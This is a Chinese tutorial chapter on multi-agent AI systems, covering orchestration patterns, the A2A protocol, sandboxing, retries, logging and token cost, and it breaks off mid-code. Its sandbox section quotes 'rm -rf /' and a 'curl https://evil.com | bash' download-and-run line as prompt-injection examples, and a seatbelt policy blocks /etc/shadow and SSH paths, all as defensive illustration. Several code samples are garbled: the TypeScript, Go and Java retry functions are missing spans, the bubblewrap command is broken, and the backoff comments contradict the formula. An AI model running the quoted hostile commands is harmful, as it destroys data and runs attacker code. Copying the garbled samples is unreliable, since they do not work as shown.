11016 字
约 36 分钟
1
第14章 多Agent系统架构

第14章 多Agent系统架构

来源:https://ai-agent-guide.xiaofuge.cn/chapters/ch10-multi-agent.html 所属:第四篇-协作与编排


从一个 Agent 到一个 Agent 团队

14.1 单 Agent 的瓶颈

单个 Agent 就像一个"全栈工程师"——什么都干。但随着任务复杂度提升,瓶颈出现:

❌ 单 Agent 的瓶颈

  • Prompt 膨胀:所有工具+规则塞一个 prompt
  • 角色混乱:又要搜索又要分析又要写报告
  • 错误传播:一步错步步错,无法纠偏
  • 上下文爆炸:长任务 token 消耗线性增长
  • 无法并行:串行执行效率低

✅ 多 Agent 的优势

  • 职责分离:每个 Agent 专注一个角色
  • Prompt 精简:每个 Agent 只需自己的工具和规则
  • 互相纠错:Agent 之间可以审查和纠正
  • 并行执行:独立子任务同时进行
  • 可扩展:新增能力只需加新 Agent

一个人干不过一个团队。单 Agent 是全栈工程师,多 Agent 是专业团队。

14.2 四种经典协作模式

多个 Agent 如何协同工作,决定了系统的可控性、并行度和成本。业界沉淀出四种经典模式,它们在"中心化程度"上构成一个光谱:从完全预设流程的串行流水线,到有一个中心大脑的编排者模式,再到强调对抗的辩论模式,最后是完全去中心化的自主协作。中心化程度越高,行为越可预测但灵活性越低;去中心化程度越高,能力越强但越难调试和控制。选型的本质,是在任务的确定性所需灵活性之间做权衡——流程固定的任务用流水线,目标开放的任务用编排者或自主协作。下面这张全景图对比了四种模式的结构与适用场景:

14.3 编排者-执行者模式详解

这是最常用的多 Agent 模式。编排者(Orchestrator)像项目经理,执行者(Worker)像各专业工程师。

编排者的核心职责

编排者 Agent 的 Prompt 示例

你是一个任务编排者。你的职责:

1. 分析任务:理解用户需求,判断需要哪些专业 Agent
2. 分配任务:将子任务分配给合适的 Worker Agent
3. 整合结果:收集各 Agent 的输出,整合成完整答案
4. 质量控制:检查结果是否完整、正确,必要时重新分配

可用的 Worker Agent:
- search_agent: 擅长搜索和信息收集
- code_agent: 擅长写代码和数据处理
- writer_agent: 擅长写作和报告生成

输出格式:
{"assign": "agent_name", "task": "具体任务描述"}
或
{"final_answer": "整合后的完整回答"}

14.4 Agent 之间的通信机制

多 Agent 要协作,必须有通信机制。三种主流方案: | 方案 | 原理 | 代表框架 | 优缺点 | | --- | --- | --- | --- | | 消息传递 | Agent 通过消息队列通信 | AutoGen | ✓灵活 ✗可能死锁 | | 共享黑板 | 共享一块"黑板"读写 | CrewAI | ✓简单 ✗并发冲突 | | 图结构 | 定义节点和边的DAG | LangGraph | ✓可控 ✗不够灵活 | ## 14.5 主流多 Agent 框架对比 🏗️ 四大框架横向对比 | 框架 | 核心模式 | 通信方式 | 特点 | | --- | --- | --- | --- | | LangGraph | 图结构 | 状态传递 | 可控性强、可可视化 | | AutoGen | 消息传递 | 对话式 | 灵活、支持自由对话 | | CrewAI | 角色扮演 | 任务传递 | 易上手、角色化 | | MetaGPT | SOP标准流程 | 文档传递 | 模拟软件团队 | ## 14.6 A2A协议(Agent-to-Agent)

2025年4月9日,Google 发布了 A2A(Agent-to-Agent)协议——一个专门解决 Agent 与 Agent 之间协作的开放标准。如果说 MCP 解决的是 Agent 与工具的连接,那么 A2A 解决的是 Agent 与 Agent 的连接。

MCP 管 Agent ↔ 工具,A2A 管 Agent ↔ Agent。一个管"手",一个管"嘴"。

为什么需要 A2A?

多 Agent 协作时,最大的痛点是互不相识:一个 Agent 不知道另一个 Agent 能做什么、怎么调用它。现有的框架(LangGraph、CrewAI等)只能在同一个系统内协作,跨系统的 Agent 之间几乎无法沟通。

**跨框架协作困境:**LangGraph 的 Agent 无法直接调用 CrewAI 的 Agent,AutoGen 的 Agent 无法发现 Dify 上的 Agent。每个框架都是一座孤岛。

A2A 协议的目标就是打破这些孤岛,让任何 Agent 都能发现、识别、协作其他 Agent,无论它们跑在哪个框架上。

A2A 的四大核心机制

🔐 A2A 协议四大核心机制

① Agent Card — 能力发现

每个 Agent 发布一个 JSON 元数据文件(Agent Card),描述自己的能力、技能、认证方式和交互协议。其他 Agent 通过读取 Agent Card 就能知道"你能做什么"。

② Task 生命周期管理

定义 Task 的完整生命周期:创建(created)→ 运行(working)→ 完成(completed)/ 失败(failed)/ 拒绝(rejected)。状态变更实时同步,支持长时间任务。

③ 消息协作

Agent 之间通过结构化消息(Message)传递协作信息。消息可包含文本、文件、表单等多种内容类型,支持多轮交互和上下文累积。

④ 安全认证机制

基于 OAuth2.0 / OpenID Connect 的认证体系。Agent 之间的每次交互都需要身份验证和权限校验,确保只有授权的 Agent 才能发起协作。

Agent Card:Agent 的"简历"

Agent Card 是 A2A 协议中最重要的概念——它就像 Agent 的一份公开简历,让其他 Agent 可以"读简历、识能力、定合作"。

Agent Card 示例(JSON 格式)

{
  "name": "旅行规划Agent",
  "description": "帮助用户规划旅行路线、预订机票酒店",
  "url": "https://travel-agent.example.com/a2a",
  "capabilities": [
    {
      "name": "route_planning",
      "description": "根据目的地和偏好规划最优路线"
    },
    {
      "name": "hotel_booking",
      "description": "预订酒店并管理订单"
    }
  ],
  "authentication": {
    "schemes": ["oauth2"]
  },
  "inputModes": ["text", "image"],
  "outputModes": ["text", "file"]
}

有了 Agent Card,一个"天气查询 Agent"就能发现"旅行规划 Agent"的存在,并了解它的能力,从而主动发起协作。

Task 生命周期管理

A2A 协议定义了 Task 的完整状态流转。一个 Task 从创建到完成,经历多个状态:

关键设计:Task 支持长时间运行状态推送。发起方可以通过轮询或推送获取 Task 状态变更,无需阻塞等待。

A2A 与 MCP 的区别 | 维度 | MCP(Model Context Protocol) | A2A(Agent-to-Agent) | | --- | --- | --- | | 连接对象 | Agent ↔ 外部工具/数据源 | Agent ↔ 另一个 Agent | | 类比 | USB-C:连接外设 | 社交网络:发现朋友 | | 发现机制 | 无(需手动配置工具列表) | Agent Card 自动发现 | | 交互模式 | 单向调用(调用工具获取结果) | 双向协作(多轮对话、状态同步) | | 发起方 | Anthropic(2024) | Google(2025) | | 协议层 | JSON-RPC 2.0 | HTTP + JSON(REST风格) | MCP 和 A2A 不是竞争关系,而是互补关系:MCP 让 Agent 有"手"(使用工具),A2A 让 Agent 有"嘴"(与其他 Agent 协作)。一个完整的 Agent 生态两者缺一不可。

A2A 协作流程图

以"旅行规划 + 天气查询"的跨 Agent 协作场景为例:

A2A 代码示例

# A2A 协议 — 发起跨 Agent 协作
import httpx

# Step 1: 发现 Agent(读取 Agent Card)
agent_card_url = "https://weather-agent.example.com/a2a/card.json"
agent_card = httpx.get(agent_card_url).json()

print(f"发现 Agent: {agent_card['name']}")
print(f"能力: {agent_card['capabilities']}")

# Step 2: 创建 Task(发起协作请求)
task_payload = {
    "id": "task-20250701-001",
    "message": {
        "role": "user",
        "parts": [
            {"type": "text", "text": "查询杭州下周天气预报"}
        ]
    }
}

response = httpx.post(
    "https://weather-agent.example.com/a2a/tasks",
    json=task_payload,
    headers={"Authorization": "Bearer "}
)

task = response.json()
print(f"Task 状态: {task['status']['state']}")  # working

# Step 3: 获取 Task 结果(轮询或推送)
result = httpx.get(
    f"https://weather-agent.example.com/a2a/tasks/{task['id']}",
    headers={"Authorization": "Bearer "}
)

if result.json()["status"]["state"] == "completed":
    weather_data = result.json()["artifacts"]
    print(f"天气结果: {weather_data}")
// A2A 协议 — 发起跨 Agent 协作
import axios from 'axios';

// Step 1: 发现 Agent(读取 Agent Card)
const agentCardUrl = 'https://weather-agent.example.com/a2a/card.json';
const agentCard = (await axios.get(agentCardUrl)).data;

console.log(`发现 Agent: ${agentCard.name}`);
console.log(`能力: ${agentCard.capabilities}`);

// Step 2: 创建 Task(发起协作请求)
const taskPayload = {
  id: 'task-20250701-001',
  message: {
    role: 'user',
    parts: [
      { type: 'text', text: '查询杭州下周天气预报' }
    ]
  }
};

const response = await axios.post(
  'https://weather-agent.example.com/a2a/tasks',
  taskPayload,
  { headers: { Authorization: 'Bearer ' } }
);

const task = response.data;
console.log(`Task 状态: ${task.status.state}`);  // working

// Step 3: 获取 Task 结果(轮询或推送)
const result = await axios.get(
  `https://weather-agent.example.com/a2a/tasks/${task.id}`,
  { headers: { Authorization: 'Bearer ' } }
);

if (result.data.status.state === 'completed') {
  const weatherData = result.data.artifacts;
  console.log(`天气结果: ${weatherData}`);
}
// A2A 协议 — 发起跨 Agent 协作
package main

import (
	"encoding/json"
	"fmt"
	"io"
	"net/http"
	"strings"
)

func main() {
	// Step 1: 发现 Agent(读取 Agent Card)
	cardResp, _ := http.Get("https://weather-agent.example.com/a2a/card.json")
	cardBody, _ := io.ReadAll(cardResp.Body)
	var agentCard map[string]interface{}
	json.Unmarshal(cardBody, &agentCard)
	fmt.Printf("发现 Agent: %v\n", agentCard["name"])
	fmt.Printf("能力: %v\n", agentCard["capabilities"])

	// Step 2: 创建 Task(发起协作请求)
	taskPayload := `{
		"id": "task-20250701-001",
		"message": {
			"role": "user",
			"parts": [{"type": "text", "text": "查询杭州下周天气预报"}]
		}
	}`
	req, _ := http.NewRequest("POST", "https://weather-agent.example.com/a2a/tasks", strings.NewReader(taskPayload))
	req.Header.Set("Authorization", "Bearer ")
	req.Header.Set("Content-Type", "application/json")
	resp, _ := http.DefaultClient.Do(req)
	var task map[string]interface{}
	json.NewDecoder(resp.Body).Decode(&task)
	fmt.Printf("Task 状态: %v\n", task["status"].(map[string]interface{})["state"])

	// Step 3: 获取 Task 结果(轮询或推送)
	taskID := task["id"].(string)
	resultReq, _ := http.NewRequest("GET", fmt.Sprintf("https://weather-agent.example.com/a2a/tasks/%s", taskID), nil)
	resultReq.Header.Set("Authorization", "Bearer ")
	resultResp, _ := http.DefaultClient.Do(resultReq)
	var result map[string]interface{}
	json.NewDecoder(resultResp.Body).Decode(&result)
	if result["status"].(map[string]interface{})["state"] == "completed" {
		fmt.Printf("天气结果: %v\n", result["artifacts"])
	}
}
// A2A 协议 — 发起跨 Agent 协作
import java.net.URI;
import java.net.http.*;
import com.fasterxml.jackson.databind.*;

public class A2AClient {
    private static final ObjectMapper mapper = new ObjectMapper();
    private static final HttpClient client = HttpClient.newHttpClient();

    public static void main(String[] args) throws Exception {
        // Step 1: 发现 Agent(读取 Agent Card)
        HttpResponse cardResp = client.send(
            HttpRequest.newBuilder().uri(URI.create("https://weather-agent.example.com/a2a/card.json")).build(),
            HttpResponse.BodyHandlers.ofString()
        );
        JsonNode agentCard = mapper.readTree(cardResp.body());
        System.out.println("发现 Agent: " + agentCard.get("name").asText());
        System.out.println("能力: " + agentCard.get("capabilities"));

        // Step 2: 创建 Task(发起协作请求)
        String taskPayload = mapper.writeValueAsString(mapper.createObjectNode()
            .put("id", "task-20250701-001")
            .set("message", mapper.createObjectNode()
                .put("role", "user")
                .set("parts", mapper.createArrayNode()
                    .add(mapper.createObjectNode().put("type", "text").put("text", "查询杭州下周天气预报")))));
        HttpResponse resp = client.send(
            HttpRequest.newBuilder().uri(URI.create("https://weather-agent.example.com/a2a/tasks"))
                .header("Authorization", "Bearer ")
                .header("Content-Type", "application/json")
                .POST(HttpRequest.BodyPublishers.ofString(taskPayload)).build(),
            HttpResponse.BodyHandlers.ofString()
        );
        JsonNode task = mapper.readTree(resp.body());
        System.out.println("Task 状态: " + task.get("status").get("state").asText());

        // Step 3: 获取 Task 结果(轮询或推送)
        String taskId = task.get("id").asText();
        HttpResponse resultResp = client.send(
            HttpRequest.newBuilder().uri(URI.create("https://weather-agent.example.com/a2a/tasks/" + taskId))
                .header("Authorization", "Bearer ").build(),
            HttpResponse.BodyHandlers.ofString()
        );
        JsonNode result = mapper.readTree(resultResp.body());
        if ("completed".equals(result.get("status").get("state").asText())) {
            System.out.println("天气结果: " + result.get("artifacts"));
        }
    }
}

14.7 沙箱隔离与安全

Agent 的强大之处在于它能执行代码、访问文件、调用API。但这也带来了巨大的安全风险——如果 Agent 执行了恶意代码,后果可能是删除文件、泄露数据、甚至攻击系统。

**⚠️ 安全风险示例:**一个代码执行 Agent 被提示词注入攻击,执行了 rm -rf /curl https://evil.com | bash,后果可能是灾难性的。沙箱就是给 Agent 一个"安全房间",即使它在房间里捣乱,也不会影响外面的世界。

为什么需要沙箱?

❌ 无沙箱的风险

  • Agent 执行恶意代码破坏系统
  • Agent 访问敏感文件泄露数据
  • Agent 连接恶意网络泄露信息
  • 提示词注入攻击操控 Agent

✅ 沙箱的保护

  • 代码在隔离环境中执行
  • 文件系统访问受限制
  • 网络连接受限制
  • 即使被攻击也只影响沙箱

🎯 最小权限原则

  • 只给 Agent 需要的权限
  • 文件:只允许读写指定目录
  • 网络:只允许访问指定域名
  • 进程:只允许执行指定命令

四大沙箱方案对比

🔒 沙箱方案对比表 | 方案 | 隔离级别 | 原理 | 隔离维度 | 适用场景 | 成本 | | --- | --- | --- | --- | --- | --- | | Docker Sandbox | ⭐⭐⭐⭐⭐ 最强 | 微虚拟机独立内核 | 文件+网络+进程 | 高安全要求的代码执行 | 较高 | | bubblewrap | ⭐⭐⭐⭐ 强 | Linux namespace隔离 | 文件+网络 | Linux环境轻量沙箱 | 低 | | seatbelt (macOS) | ⭐⭐⭐⭐ 强 | macOS系统级沙箱 | 文件+网络+进程 | macOS环境Agent沙箱 | 低 | | E2B / PPIO | ⭐⭐⭐⭐⭐ 最强 | 云端微虚拟机 | 文件+网络+进程+硬件 | 云端安全代码执行 | 按使用计费 | ### Anthropic 沙箱方案详解

Anthropic(Claude 的开发商)在 Agent 安全方面提出了两种轻量级沙箱方案:

bubblewrap(Linux)

利用 Linux 的 namespaceseccomp 机制,创建轻量隔离环境。限制文件系统访问(只允许指定目录)、限制网络访问(只允许指定端口)、限制系统调用。启动速度快(毫秒级),无需完整虚拟机。

seatbelt(macOS)

macOS 内置的沙箱机制,通过 sandbox-exec 命令配置权限策略。可以精确控制文件读写路径、网络连接范围、进程权限。是 macOS 上最成熟的进程级沙箱方案。

沙箱权限配置示例

macOS seatbelt 沙箱配置示例

; seatbelt 沙箱策略文件 — 最小权限原则
; 只允许 Agent 读写指定目录,访问指定网络

(version 1)
(deny default)  ; 默认拒绝所有操作

; 文件权限:只允许读写工作目录
(allow file-read* (subpath "/workspace/agent-data"))
(allow file-write* (subpath "/workspace/agent-output"))

; 网络权限:只允许访问指定API
(allow network-outbound (regex "https://api\\.openai\\.com"))
(allow network-outbound (regex "https://api\\.anthropic\\.com"))

; 进程权限:只允许执行Python
(allow process-exec (regex "/usr/bin/python3"))
(allow process-exec (regex "/usr/local/bin/pip3"))

; 拒绝危险操作
(deny file-read* (subpath "/etc/shadow"))
(deny file-read* (subpath "/Users/*/ssh"))
(deny network-outbound (regex ".*"))  ; 先拒绝所有,再逐条放开

Linux bubblewrap 沙箱启动命令

# bubblewrap 沙箱 — 最小权限启动 Agent 代码执行
bwrap \
--ro-bind /usr /usr \              # 只读挂载系统目录
--ro-bind /lib /lib \              # 只读挂载库目录
--bind /workspace/agent-data /data \ # 可读写挂载工作目录
--dev /dev \                        # 最小设备访问
--unshare-net \                     # 禁用网络(如需网络则逐条放开)
--die-with-parent \                 # 父进程退出时沙箱也退出
--new-session \                     # 创建新session隔离
  python3 /data/agent_task.py          # 执行Agent任务

最小权限原则是沙箱安全的基石:默认拒绝所有权限,只逐条放开 Agent 必需的权限。宁可多一步手动配置,不可少一层安全防线。

14.8 多Agent系统的生产实践

从实验室到生产环境,多 Agent 系统需要面对数据格式、错误处理、监控追踪、成本控制四大工程挑战。

14.8.1 通信数据格式标准化

Agent 之间传递的数据必须有统一的格式约定,否则"鸡同鸭讲":

📐 Agent 通信数据格式规范 | 字段 | 类型 | 说明 | | --- | --- | --- | | task_id | string | 唯一任务标识,用于追踪整个流转链路 | | from_agent | string | 发送方 Agent 名称/ID | | to_agent | string | 接收方 Agent 名称/ID | | content | object | 消息内容(文本/数据/文件引用) | | status | string | 任务状态(pending/running/completed/failed) | | timestamp | string | ISO8601时间戳,用于时序追踪和排序 | 标准化消息格式示例

# Agent 间通信的标准化消息格式
{
    "task_id": "task-20250701-001",
    "from_agent": "search_agent",
    "to_agent": "analysis_agent",
    "content": {
        "type": "search_results",
        "data": [
            {"title": "2025年AI发展趋势", "url": "...", "summary": "..."},
            {"title": "多Agent协作最新进展", "url": "...", "summary": "..."}
        ]
    },
    "status": "completed",
    "timestamp": "2025-07-01T10:30:00Z",
    "metadata": {
        "tokens_used": 1520,
        "execution_time_ms": 3500
    }
}

14.8.2 错误处理与重试策略

多 Agent 系统中,任何一个 Agent 都可能出错。关键是要有容错机制,不让一个 Agent 的失败拖垮整个系统:

① 降级策略

某个 Agent 失败时,编排者降级处理:跳过该步骤或用备选 Agent 替代。例如搜索 Agent 超时,编排者用缓存数据替代。

② 重试策略

可恢复的错误(网络抖动、API限流)采用指数退避重试。最多重试 3 次,每次间隔递增(1s→4s→16s)。不可恢复的错误直接降级。

③ 级联阻断

设置超时上限和重试上限。如果一个 Agent 重试3次仍失败,编排者放弃该子任务,用部分结果继续推进,而非无限等待。

④ 任务完成标准

提前定义清晰的任务完成标准(如输出格式校验、关键信息完整性检查),满足条件立即终止任务,避免无效迭代。配合最大迭代次数和状态机控制,从机制上杜绝无限循环。

# 多 Agent 错误处理与重试策略
import asyncio
from datetime import datetime

class AgentRetryPolicy:
    """Agent 重试策略配置"""
    max_retries = 3           # 最大重试次数
    base_delay = 1.0          # 基础延迟(秒)
    max_delay = 60.0          # 最大延迟(秒)
    timeout_per_attempt = 30  # 单次超时(秒)

    def get_delay(self, attempt: int) -> float:
        """指数退避:1s → 4s → 16s"""
        delay = self.base_delay * (2 ** attempt)
        return min(delay, self.max_delay)

async def call_agent_with_retry(agent, task, policy=AgentRetryPolicy()):
    """带重试的 Agent 调用"""
    for attempt in range(policy.max_retries + 1):
        try:
            result = await asyncio.wait_for(
                agent.execute(task),
                timeout=policy.timeout_per_attempt
            )
            return result  # 成功,返回结果
        except asyncio.TimeoutError:
            print(f"[{datetime.now()}] Agent {agent.name} 超时,"
                  f"第 {attempt + 1} 次重试")
        except ConnectionError as e:
            print(f"[{datetime.now()}] Agent {agent.name} 连接错误: {e}")
            if attempt >= policy.max_retries:
                return {"status": "failed", "reason": "连接不可恢复"}
        except Exception as e:
            print(f"[{datetime.now()}] Agent {agent.name} 未知错误: {e}")
            return {"status": "failed", "reason": str(e)}

        # 等待退避时间后重试
        delay = policy.get_delay(attempt)
        await asyncio.sleep(delay)

    # 重试耗尽,降级处理
    return {"status": "degraded", "reason": "重试耗尽,降级处理"}
// 多 Agent 错误处理与重试策略
class AgentRetryPolicy {
  maxRetries = 3;           // 最大重试次数
  baseDelay = 1.0;          // 基础延迟(秒)
  maxDelay = 60.0;          // 最大延迟(秒)
  timeoutPerAttempt = 30;   // 单次超时(秒)

  getDelay(attempt: number): number {
    // 指数退避:1s → 4s → 16s
    const delay = this.baseDelay * Math.pow(2, attempt);
    return Math.min(delay, this.maxDelay);
  }
}

async function callAgentWithRetry(agent: any, task: any, policy = new AgentRetryPolicy()): Promise {
  for (let attempt = 0; attempt
          setTimeout(() => reject(new Error('Timeout')), policy.timeoutPerAttempt * 1000)
        )
      ]);
      return result; // 成功,返回结果
    } catch (err: any) {
      if (err.message === 'Timeout') {
        console.log(`[${new Date().toISOString()}] Agent ${agent.name} 超时,第 ${attempt + 1} 次重试`);
      } else if (err.code === 'ECONNREFUSED') {
        console.log(`[${new Date().toISOString()}] Agent ${agent.name} 连接错误: ${err.message}`);
        if (attempt >= policy.maxRetries) {
          return { status: 'failed', reason: '连接不可恢复' };
        }
      } else {
        console.log(`[${new Date().toISOString()}] Agent ${agent.name} 未知错误: ${err.message}`);
        return { status: 'failed', reason: err.message };
      }
      // 等待退避时间后重试
      const delay = policy.getDelay(attempt);
      await new Promise(resolve => setTimeout(resolve, delay * 1000));
    }
  }
  // 重试耗尽,降级处理
  return { status: 'degraded', reason: '重试耗尽,降级处理' };
}
// 多 Agent 错误处理与重试策略
package main

import (
	"fmt"
	"math"
	"time"
)

type AgentRetryPolicy struct {
	MaxRetries        int     // 最大重试次数
	BaseDelay         float64 // 基础延迟(秒)
	MaxDelay          float64 // 最大延迟(秒)
	TimeoutPerAttempt int     // 单次超时(秒)
}

func (p AgentRetryPolicy) GetDelay(attempt int) float64 {
	// 指数退避:1s → 4s → 16s
	delay := p.BaseDelay * math.Pow(2, float64(attempt))
	return math.Min(delay, p.MaxDelay)
}

type Agent interface {
	Execute(task interface{}) (interface{}, error)
	Name() string
}

func CallAgentWithRetry(agent Agent, task interface{}, policy AgentRetryPolicy) interface{} {
	if policy.MaxRetries == 0 {
		policy = AgentRetryPolicy{MaxRetries: 3, BaseDelay: 1.0, MaxDelay: 60.0, TimeoutPerAttempt: 30}
	}
	for attempt := 0; attempt = policy.MaxRetries {
				return map[string]string{"status": "failed", "reason": "不可恢复"}
			}
		case  T callAgentWithRetry(AgentExecutor agent, Object task, AgentRetryPolicy policy) {
        AtomicInteger attempt = new AtomicInteger(0);
        while (attempt.get()  agent.execute(task));
                T result = future.get(policy.timeoutPerAttempt, TimeUnit.SECONDS);
                executor.shutdown();
                return result; // 成功,返回结果
            } catch (TimeoutException e) {
                System.out.printf("[%s] Agent %s 超时,第 %d 次重试%n",
                    LocalDateTime.now(), agent.getName(), attempt.get() + 1);
            } catch (ExecutionException e) {
                if (e.getCause() instanceof java.net.ConnectException) {
                    System.out.printf("[%s] Agent %s 连接错误: %s%n",
                        LocalDateTime.now(), agent.getName(), e.getCause().getMessage());
                    if (attempt.get() >= policy.maxRetries) {
                        return null; // 连接不可恢复
                    }
                } else {
                    System.out.printf("[%s] Agent %s 未知错误: %s%n",
                        LocalDateTime.now(), agent.getName(), e.getCause());
                    return null;
                }
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
                return null;
            }
            // 等待退避时间后重试
            try {
                Thread.sleep((long) (policy.getDelay(attempt.get()) * 1000));
            } catch (InterruptedException ie) {
                Thread.currentThread().interrupt();
            }
            attempt.incrementAndGet();
        }
        // 重试耗尽,降级处理
        return null;
    }

    interface AgentExecutor {
        T execute(Object task) throws Exception;
        String getName();
    }
}

14.8.3 监控与可观测性

生产环境中,你需要知道每个 Agent 做了什么、花了多少、是否异常。这需要完整的可观测性体系: 📊 Agent 可观测性三支柱

日志(Logging)

记录每个 Agent 的输入、输出、决策过程。结构化日志(JSON格式),包含 task_id、agent_name、timestamp,便于检索和回溯。

指标(Metrics)

量化指标:Token 消耗量、执行时间、成功/失败率、重试次数。用 Prometheus + Grafana 可视化,设阈值告警。

追踪(Tracing)

跟踪一个任务在多个 Agent 之间的完整流转链路。类似微服务的分布式追踪,每个 Agent 是一个"span",task_id 是"trace_id"。

# 结构化日志 — Agent 行为追踪
import structlog

logger = structlog.get_logger()

# 编排者分配任务时记录
logger.info("task_assigned",
    task_id="task-20250701-001",
    from_agent="orchestrator",
    to_agent="search_agent",
    task_desc="搜索AI发展趋势",
    timestamp="2025-07-01T10:30:00Z")

# 搜索 Agent 完成时记录
logger.info("task_completed",
    task_id="task-20250701-001",
    agent="search_agent",
    tokens_used=1520,
    execution_time_ms=3500,
    result_count=5)

# 分析 Agent 处理时记录
logger.info("task_started",
    task_id="task-20250701-001",
    agent="analysis_agent",
    input_from="search_agent",
    timestamp="2025-07-01T10:33:30Z")

# 追踪链路可视化:
# orchestrator → search_agent → analysis_agent → writer_agent
# 每一步都有 task_id 关联,可完整回溯
// 结构化日志 — Agent 行为追踪
import pino from 'pino';

const logger = pino();

// 编排者分配任务时记录
logger.info({
  task_id: 'task-20250701-001',
  from_agent: 'orchestrator',
  to_agent: 'search_agent',
  task_desc: '搜索AI发展趋势',
  timestamp: '2025-07-01T10:30:00Z'
}, 'task_assigned');

// 搜索 Agent 完成时记录
logger.info({
  task_id: 'task-20250701-001',
  agent: 'search_agent',
  tokens_used: 1520,
  execution_time_ms: 3500,
  result_count: 5
}, 'task_completed');

// 分析 Agent 处理时记录
logger.info({
  task_id: 'task-20250701-001',
  agent: 'analysis_agent',
  input_from: 'search_agent',
  timestamp: '2025-07-01T10:33:30Z'
}, 'task_started');

// 追踪链路可视化:
// orchestrator → search_agent → analysis_agent → writer_agent
// 每一步都有 task_id 关联,可完整回溯
// 结构化日志 — Agent 行为追踪
package main

import (
	"log/slog"
	"os"
)

func main() {
	logger := slog.New(slog.NewJSONHandler(os.Stdout, nil))

	// 编排者分配任务时记录
	logger.Info("task_assigned",
		"task_id", "task-20250701-001",
		"from_agent", "orchestrator",
		"to_agent", "search_agent",
		"task_desc", "搜索AI发展趋势",
		"timestamp", "2025-07-01T10:30:00Z")

	// 搜索 Agent 完成时记录
	logger.Info("task_completed",
		"task_id", "task-20250701-001",
		"agent", "search_agent",
		"tokens_used", 1520,
		"execution_time_ms", 3500,
		"result_count", 5)

	// 分析 Agent 处理时记录
	logger.Info("task_started",
		"task_id", "task-20250701-001",
		"agent", "analysis_agent",
		"input_from", "search_agent",
		"timestamp", "2025-07-01T10:33:30Z")

	// 追踪链路可视化:
	// orchestrator → search_agent → analysis_agent → writer_agent
	// 每一步都有 task_id 关联,可完整回溯
}
// 结构化日志 — Agent 行为追踪
import com.fasterxml.jackson.databind.ObjectMapper;
import org.slf4j.*;

public class AgentLogger {
    private static final Logger logger = LoggerFactory.getLogger(AgentLogger.class);
    private static final ObjectMapper mapper = new ObjectMapper();

    public static void main(String[] args) throws Exception {
        // 编排者分配任务时记录
        logger.info("task_assigned", kv("task_id", "task-20250701-001"),
            kv("from_agent", "orchestrator"), kv("to_agent", "search_agent"),
            kv("task_desc", "搜索AI发展趋势"), kv("timestamp", "2025-07-01T10:30:00Z"));

        // 搜索 Agent 完成时记录
        logger.info("task_completed", kv("task_id", "task-20250701-001"),
            kv("agent", "search_agent"), kv("tokens_used", 1520),
            kv("execution_time_ms", 3500), kv("result_count", 5));

        // 分析 Agent 处理时记录
        logger.info("task_started", kv("task_id", "task-20250701-001"),
            kv("agent", "analysis_agent"), kv("input_from", "search_agent"),
            kv("timestamp", "2025-07-01T10:33:30Z"));

        // 追踪链路可视化:
        // orchestrator → search_agent → analysis_agent → writer_agent
        // 每一步都有 task_id 关联,可完整回溯
    }

    private static Object kv(String key, Object value) {
        return key + "=" + value;
    }
}

14.8.4 成本控制:Token 消耗管理

多 Agent 系统的 Token 消耗是倍增的——3 个 Agent 各独立调用 LLM,总消耗是 3 倍。不加控制,一个小任务可能烧掉几美元的 Token:

**成本倍增效应:**单 Agent 完成一个任务消耗 1000 Token。3 个 Agent 各消耗 1000 Token,加上编排者消耗 500 Token,总计 3500 Token——是单 Agent 的 3.5 倍。如果 Agent 数量更多、任务更长,成本快速失控。

💰 Token 成本控制五大策略 | 策略 | 原理 | 效果 | | --- | --- | --- | | 按需分配 | 编排者只在需要时才调用 Agent,避免无效调用 | 减少 30-50% 无效 Token | | 精简 Prompt | 每个 Agent 的 Prompt 只包含自己的工具和规则 | 减少 40-60% 上下文 Token | | 结果压缩 | Agent 输出只传递关键信息而非完整上下文 | 减少 50-70% 传递 Token | | 分级模型 | 简单任务用小模型(GPT-4o-mini),复杂任务用大模型 | 成本降低 60-80% | | 预算上限 | 设置单任务/单日 Token 预算上限,超限降级处理 | 防止成本失控 | ### 14.8.5 实战案例:调研+分析+写作多Agent工作流

以一个完整的"行业调研报告生成"场景为例,展示多 Agent 编排的全流程:

# 生产级多 Agent 工作流编排
import asyncio
from dataclasses import dataclass
from typing import Optional

@dataclass
class AgentResult:
    agent_name: str
    status: str        # completed / failed / degraded
    content: dict
    tokens_used: int
    execution_time_ms: int

class ProductionOrchestrator:
    """生产级编排者:带错误处理、成本控制、追踪"""

    def __init__(self, budget_limit_tokens=10000):
        self.budget_limit = budget_limit_tokens
        self.total_tokens = 0
        self.trace_log = []

    async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
        """完整的调研+分析+写作工作流"""
        # Step 1: 编排者拆分任务
        self._log("orchestrator", "task_split", user_request)
        subtasks = self._split_task(user_request)

        # Step 2: 并行执行调研和分析
        results = await asyncio.gather(
            self._call_agent("research_agent", subtasks["research"]),
            self._call_agent("analysis_agent", subtasks["analysis"]),
            return_exceptions=True  # 容错:不因一个失败而中断
        )

        # Step 3: 处理结果(容错降级)
        research_result = self._handle_result(results[0], "research")
        analysis_result = self._handle_result(results[1], "analysis")

        # Step 4: 检查预算
        if self.total_tokens > self.budget_limit:
            self._log("orchestrator", "budget_exceeded",
                      f"已用 {self.total_tokens} tokens")
            return {"status": "budget_exceeded",
                    "partial_results": [research_result, analysis_result]}

        # Step 5: 合并后调用写作 Agent
        merged_input = self._merge_results(research_result, analysis_result)
        writer_result = await self._call_agent("writer_agent", merged_input)

        # Step 6: 审核 Agent 检查质量
        review_result = await self._call_agent("review_agent", {
            "draft": writer_result.content,
            "criteria": "完整性、准确性、可读性"
        })

        if review_result.content.get("approved"):
            return {"status": "completed",
                    "report": writer_result.content,
                    "trace": self.trace_log}
        else:
            # 审核未通过 → 修改后重新提交写作(限制修改次数,防止无限递归)
            self._log("review_agent", "revision_needed",
                      review_result.content.get("issues"))
            if max_revisions > 0:
                return await self.run_workflow(user_request, max_revisions - 1)
            else:
                return {"status": "completed_with_issues",
                        "report": writer_result.content,
                        "trace": self.trace_log,
                        "note": "达到最大修改次数,返回当前版本"}

    def _split_task(self, request: str) -> dict:
        """编排者拆分任务"""
        return {
            "research": f"搜索以下主题的最新资料: {request}",
            "analysis": f"对已有数据进行统计分析: {request}"
        }

    def _handle_result(self, result, agent_name: str) -> AgentResult:
        """容错处理:异常降级"""
        if isinstance(result, Exception):
            self._log(agent_name, "failed", str(result))
            return AgentResult(agent_name, "degraded",
                               {"note": "降级处理,使用缓存数据"}, 0, 0)
        self.total_tokens += result.tokens_used
        return result

    def _log(self, agent: str, event: str, detail: str):
        """追踪日志"""
        self.trace_log.append({
            "agent": agent, "event": event,
